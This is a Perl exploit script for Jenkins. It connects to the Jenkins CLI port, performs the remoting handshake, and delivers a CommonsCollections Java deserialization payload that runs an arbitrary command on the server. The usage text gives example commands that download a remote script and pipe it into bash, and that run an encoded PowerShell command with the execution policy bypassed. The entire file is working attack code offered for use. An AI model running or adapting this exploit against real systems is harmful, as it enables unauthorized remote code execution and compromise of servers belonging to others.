#!/usr/bin/perl

use strict;
use warnings;
use utf8;
use feature 'say';
use lib '/secure/Common/src/cpan';

use URI;
use Getopt::Long;
use Data::Dumper;
use LWP::UserAgent;
use IO::Socket::INET;
use MIME::Base64;
use IPC::Run qw/run timeout/;

binmode(STDOUT, ':encoding(utf8)');

say '';
say 'Jenkins CommonCollections Exploit';
say 'c0debreak - http://www.changesec.com';
say '';

my %opts = (
    'url' => 'http://127.0.0.1:8080/jenkins/',
    'cmd' => 'wget baidu.com/ping',
    'os'  => undef
);
GetOptions (\%opts, 'os|o=s', 'url|u=s', 'cmd|c=s') or &help;
&help unless defined $opts{url} and defined $opts{cmd};
&help unless defined $opts{os} and $opts{os} =~ /^(win|linux)$/;

say '[-] Generating payload';

$opts{payload} = get_payload (
    $opts{os} eq 'linux' ? 'CommonsCollections1Linux' : 'CommonsCollections1Win', 
    $opts{cmd}
);

eval {
    $opts{port} = LWP::UserAgent->new->get ($opts{url})->header ('X-Jenkins-CLI-Port');
    $opts{host} = URI->new ($opts{url})->host;
};
if ($@) {
    die "[!] Unexpected error ", $@;
}

say '[+] Jenkins CLI port at ', $opts{port};

my $data = encode_base64 ($opts{payload}, '');
my $add  = read_file ('data/append.out');
my $sock = IO::Socket::INET->new (
    PeerAddr => $opts{host},
    PeerPort => $opts{port},
    Proto    => 'tcp'
) or die "[!] Could not connect to $opts{host}:$opts{port}, filtered?";

say '[+] Client HELLO';
print $sock "\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74";
$sock->flush;

sysread ($sock, my $buff, 1024);
print '[+] Server HELLO, ', $buff;

sysread ($sock, $buff, 1024);
say '[+] Server capacity ', $buff;

say '[+] Deliver serialized object ';
print $sock "\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e" . $data;
$sock->flush;

say '[+] Separator';
print $sock "\x00\x00\x00\x00";

say '[+] Hudson.Remoting protocol';
print $sock $add;
$sock->flush;

sysread ($sock, $buff, 1024);
#say $buff;

say '[-] Sequence completed';

#### FUNCS ####

sub read_file
{
    $/ = undef;

    my ($file) = @_;
    open my $fh, "<", $file or die "[!] could not read $file\n";
    my $data = <$fh>;
    close $fh;

    return $data;
}

sub get_payload
{
    my ($col, $cmd) = @_;   
    my ($in, $out, $err);

    my @args = ("java", "-jar", "lib/serial.jar", $col, $cmd) or die "ERROR $@";
    run \@args, \$in, \$out, \$err, timeout (10) or die "[!] payload: $@";

    return $out;
}

sub help
{
    say <<EOF
Most typical usage,

$0 --url http://127.0.0.1:8080/jenkins/ --os linux --cmd 'wget baidu.com/bds -O - | bash'
$0 --url http://127.0.0.1:8080/jenkins/ --os win --cmd 'powershell -ep bypass -enc xxxxx'

EOF
;
    exit;
}
